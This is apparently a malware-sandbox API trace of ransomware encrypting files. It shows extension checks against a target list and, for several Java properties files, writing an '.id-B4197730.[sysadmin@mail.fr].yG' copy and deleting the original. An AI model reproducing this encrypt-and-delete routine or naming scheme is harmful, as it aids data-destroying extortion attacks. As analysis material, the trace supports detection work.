	[0140.205] lstrcmpiW (lpString1=".doc", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString=".docx") returned 5
	[0140.205] lstrcmpiW (lpString1=".docx", lpString2="GB.pf") returned -1
	[0140.205] lstrlenW (lpString=".pdf") returned 4
	[0140.205] lstrcmpiW (lpString1=".pdf", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString=".xls") returned 4
	[0140.205] lstrcmpiW (lpString1=".xls", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString=".xlsx") returned 5
	[0140.205] lstrcmpiW (lpString1=".xlsx", lpString2="GB.pf") returned -1
	[0140.205] lstrlenW (lpString=".ppt") returned 4
	[0140.205] lstrcmpiW (lpString1=".ppt", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.205] lstrlenW (lpString=".zip") returned 4
	[0140.205] lstrcmpiW (lpString1=".zip", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString=".rar") returned 4
	[0140.205] lstrcmpiW (lpString1=".rar", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString=".bz2") returned 4
	[0140.205] lstrcmpiW (lpString1=".bz2", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString=".7z") returned 3
	[0140.205] lstrcmpiW (lpString1=".7z", lpString2=".pf") returned -1
	[0140.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.205] lstrlenW (lpString=".dbf") returned 4
	[0140.205] lstrcmpiW (lpString1=".dbf", lpString2="B.pf") returned -1
	[0140.205] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.206] lstrlenW (lpString=".1cd") returned 4
	[0140.206] lstrcmpiW (lpString1=".1cd", lpString2="B.pf") returned -1
	[0140.206] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\cmm\\sRGB.pf") returned 50
	[0140.206] lstrlenW (lpString=".jpg") returned 4
	[0140.206] lstrcmpiW (lpString1=".jpg", lpString2="B.pf") returned -1
	[0140.206] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0140.206] lstrlenW (lpString="messages_de.properties") returned 22
	[0140.206] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.304] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3306) returned 1
	[0141.304] CloseHandle (hObject=0x494) returned 1
	[0141.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 0x20
	[0141.304] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.304] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.305] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.305] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.305] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.306] GetLastError () returned 0x0
	[0141.306] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xcea, lpOverlapped=0x0) returned 1
	[0141.336] WriteFile (in: hFile=0x49c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xcf0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xcf0, lpOverlapped=0x0) returned 1
	[0141.337] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.337] WriteFile (in: hFile=0x49c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.337] SetEndOfFile (hFile=0x49c) returned 1
	[0141.337] CloseHandle (hObject=0x49c) returned 1
	[0141.337] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.337] SetEndOfFile (hFile=0x494) returned 1
	[0141.340] CloseHandle (hObject=0x494) returned 1
	[0141.340] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.341] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties")) returned 1
	[0141.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.342] lstrlenW (lpString=".doc") returned 4
	[0141.342] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString=".docx") returned 5
	[0141.342] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.342] lstrlenW (lpString=".pdf") returned 4
	[0141.342] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString=".xls") returned 4
	[0141.342] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString=".xlsx") returned 5
	[0141.342] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.342] lstrlenW (lpString=".ppt") returned 4
	[0141.342] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.342] lstrlenW (lpString=".zip") returned 4
	[0141.342] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString=".rar") returned 4
	[0141.342] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString=".bz2") returned 4
	[0141.342] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.342] lstrlenW (lpString=".7z") returned 3
	[0141.342] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.343] lstrlenW (lpString=".dbf") returned 4
	[0141.343] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.343] lstrlenW (lpString=".1cd") returned 4
	[0141.343] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.343] lstrlenW (lpString=".jpg") returned 4
	[0141.343] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.343] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.343] lstrlenW (lpString=".doc") returned 4
	[0141.343] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.343] lstrlenW (lpString=".docx") returned 5
	[0141.343] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.343] lstrlenW (lpString=".pdf") returned 4
	[0141.343] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.343] lstrlenW (lpString=".xls") returned 4
	[0141.344] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.344] lstrlenW (lpString=".xlsx") returned 5
	[0141.344] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.344] lstrlenW (lpString=".ppt") returned 4
	[0141.344] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.344] lstrlenW (lpString=".zip") returned 4
	[0141.344] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.344] lstrlenW (lpString=".rar") returned 4
	[0141.344] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.344] lstrlenW (lpString=".bz2") returned 4
	[0141.344] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.344] lstrlenW (lpString=".7z") returned 3
	[0141.344] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.344] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.344] lstrlenW (lpString=".dbf") returned 4
	[0141.344] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.345] lstrlenW (lpString=".1cd") returned 4
	[0141.345] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.345] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_de.properties") returned 68
	[0141.345] lstrlenW (lpString=".jpg") returned 4
	[0141.345] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.345] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.345] lstrlenW (lpString="messages_pt_BR.properties") returned 25
	[0141.345] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.347] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3285) returned 1
	[0141.348] CloseHandle (hObject=0x494) returned 1
	[0141.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 0x20
	[0141.348] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.348] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.348] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.349] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.349] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.350] GetLastError () returned 0x0
	[0141.350] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xcd5, lpOverlapped=0x0) returned 1
	[0141.361] WriteFile (in: hFile=0x49c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xce0, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xce0, lpOverlapped=0x0) returned 1
	[0141.362] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.362] WriteFile (in: hFile=0x49c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x106, lpOverlapped=0x0) returned 1
	[0141.362] SetEndOfFile (hFile=0x49c) returned 1
	[0141.362] CloseHandle (hObject=0x49c) returned 1
	[0141.363] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.363] SetEndOfFile (hFile=0x494) returned 1
	[0141.366] CloseHandle (hObject=0x494) returned 1
	[0141.366] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.366] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_pt_br.properties")) returned 1
	[0141.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.367] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.367] lstrlenW (lpString=".doc") returned 4
	[0141.367] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.367] lstrlenW (lpString=".docx") returned 5
	[0141.367] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.367] lstrlenW (lpString=".pdf") returned 4
	[0141.367] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.367] lstrlenW (lpString=".xls") returned 4
	[0141.367] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.367] lstrlenW (lpString=".xlsx") returned 5
	[0141.367] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.367] lstrlenW (lpString=".ppt") returned 4
	[0141.368] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.368] lstrlenW (lpString=".zip") returned 4
	[0141.368] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString=".rar") returned 4
	[0141.368] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString=".bz2") returned 4
	[0141.368] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString=".7z") returned 3
	[0141.368] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.368] lstrlenW (lpString=".dbf") returned 4
	[0141.368] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.368] lstrlenW (lpString=".1cd") returned 4
	[0141.368] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.368] lstrlenW (lpString=".jpg") returned 4
	[0141.368] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.368] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.368] lstrlenW (lpString=".doc") returned 4
	[0141.368] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0141.368] lstrlenW (lpString=".docx") returned 5
	[0141.368] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0141.369] lstrlenW (lpString=".pdf") returned 4
	[0141.369] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString=".xls") returned 4
	[0141.369] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString=".xlsx") returned 5
	[0141.369] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0141.369] lstrlenW (lpString=".ppt") returned 4
	[0141.369] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.369] lstrlenW (lpString=".zip") returned 4
	[0141.369] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString=".rar") returned 4
	[0141.369] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString=".bz2") returned 4
	[0141.369] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString=".7z") returned 3
	[0141.369] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0141.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.369] lstrlenW (lpString=".dbf") returned 4
	[0141.369] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.369] lstrlenW (lpString=".1cd") returned 4
	[0141.369] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0141.369] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_pt_BR.properties") returned 71
	[0141.369] lstrlenW (lpString=".jpg") returned 4
	[0141.369] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0141.370] lstrcmpiW (lpString1=".properties", lpString2=".yG") returned -1
	[0141.370] lstrlenW (lpString="messages_sv.properties") returned 22
	[0141.370] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.370] GetFileSizeEx (in: hFile=0x494, lpFileSize=0x3dfff14 | out: lpFileSize=0x3dfff14*=3409) returned 1
	[0141.370] CloseHandle (hObject=0x494) returned 1
	[0141.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 0x20
	[0141.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0141.371] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x494
	[0141.371] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.371] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.372] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x49c
	[0141.377] GetLastError () returned 0x0
	[0141.377] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0xd51, lpOverlapped=0x0) returned 1
	[0141.568] WriteFile (in: hFile=0x49c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0xd60, lpOverlapped=0x0) returned 1
	[0141.570] ReadFile (in: hFile=0x494, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3dffecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3dffecc*=0x0, lpOverlapped=0x0) returned 1
	[0141.570] WriteFile (in: hFile=0x49c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x3dffc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3dffc94*=0x100, lpOverlapped=0x0) returned 1
	[0141.570] SetEndOfFile (hFile=0x49c) returned 1
	[0141.570] CloseHandle (hObject=0x49c) returned 1
	[0141.570] SetFilePointerEx (in: hFile=0x494, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3dffec0 | out: lpNewFilePointer=0x0) returned 1
	[0141.570] SetEndOfFile (hFile=0x494) returned 1
	[0141.772] CloseHandle (hObject=0x494) returned 1
	[0141.773] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0141.886] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties")) returned 1
	[0143.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.901] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.901] lstrlenW (lpString=".doc") returned 4
	[0143.901] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0143.901] lstrlenW (lpString=".docx") returned 5
	[0143.901] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0143.901] lstrlenW (lpString=".pdf") returned 4
	[0143.901] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString=".xls") returned 4
	[0143.902] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString=".xlsx") returned 5
	[0143.902] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0143.902] lstrlenW (lpString=".ppt") returned 4
	[0143.902] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.902] lstrlenW (lpString=".zip") returned 4
	[0143.902] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString=".rar") returned 4
	[0143.902] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString=".bz2") returned 4
	[0143.902] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString=".7z") returned 3
	[0143.902] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0143.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.902] lstrlenW (lpString=".dbf") returned 4
	[0143.902] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0143.902] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.902] lstrlenW (lpString=".1cd") returned 4
	[0143.903] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0143.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.903] lstrlenW (lpString=".jpg") returned 4
	[0143.903] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0143.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.903] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_sv.properties") returned 68
	[0143.903] lstrlenW (lpString=".doc") returned 4
	[0143.903] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0143.903] lstrlenW (lpString=".docx") returned 5
	[0143.903] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0143.903] lstrlenW (lpString=".pdf") returned 4
	[0143.903] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0143.903] lstrlenW (lpString=".xls") returned 4
	[0143.903] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0143.903] lstrlenW (lpString=".xlsx") returned 5
	[0143.903] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
